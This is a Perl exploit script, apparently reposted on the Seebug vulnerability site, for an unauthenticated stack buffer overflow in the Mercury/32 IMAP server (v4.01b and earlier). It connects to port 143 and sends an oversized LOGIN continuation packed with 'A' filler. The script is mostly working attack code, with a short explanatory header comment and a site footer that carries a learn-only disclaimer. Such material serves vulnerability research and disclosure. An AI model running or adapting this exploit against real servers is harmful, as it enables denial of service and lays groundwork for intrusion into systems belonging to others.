#!/usr/bin/perl # # mercurypown-v1.pl # # Mercury/32 <v4.01b (win32) remote exploit # by mu-b - 28 Nov 2006 # # - Tested on: Mercury/32 v4.01a (win32) # Mercury/32 v4.01b (win32) # # Stack-based buffer overflow caused by Mercury/32 concatenating # continuation data into a fixed sized buffer disregarding # the length of the original command, you do not require authentication. # # This is a little harder to exploit than usual since the # stack frame in question calls end_thread before returning.. # buts it\'s still possible by at *least* two different ways... # (i.e. controlling a pointer into sprintf and/or controlling # a pointer to be free()). # ######## use Getopt::Std; getopts(\'t:n:\', \\%arg); use Socket; &print_header; my $target; if (defined($arg{\'t\'})) { $target = $arg{\'t\'} } if (!(defined($target))) { &usage; } my $imapd_port = 143; my $send_delay = 1; my $NOP = \'A\'; my $LEN = 9200;#8928; my $BUFLEN = 8192; if (connect_host($target, $imapd_port)) { print(\"-> * Connected \"); $buf = \"1 LOGIN\".(\" \"x($LEN-$BUFLEN)).\"{255} \"; send(SOCKET, $buf, 0); sleep($send_delay); print(\"-> * Sending payload \"); $buf = $NOP x 255; send(SOCKET, $buf, 0); sleep($send_delay); print(\"-> * Sending payload 2 \"); $buf = $NOP x $BUFLEN; send(SOCKET, $buf, 0); sleep($send_delay); print(\"-> * Successfully sent payload! \"); } sub print_header { print(\"Mercury/32 <v4.01b (win32) remote exploit \"); print(\"by: <mu-b@digit-labs.org> \"); } sub usage { print(qq(Usage: $0 -t <hostname> -t <hostname> : hostname to test )); exit(1); } sub connect_host { ($target, $port) = @_; $iaddr = inet_aton($target) || die(\"Error: $! \"); $paddr = sockaddr_in($port, $iaddr) || die(\"Error: $! \"); $proto = getprotobyname(\'tcp\') || die(\"Error: $! \"); socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die(\"Error: $! \"); connect(SOCKET, $paddr) || die(\"Error: $! \"); return(1337); }
※本站提供的任何内容、代码与服务仅供学习,请勿用于非法用途,否则后果自负
您的会员可兑换次数还剩: 次 本次兑换将消耗 1 次
续费请拨打客服热线,感谢您一直支持 Seebug!
暂无评论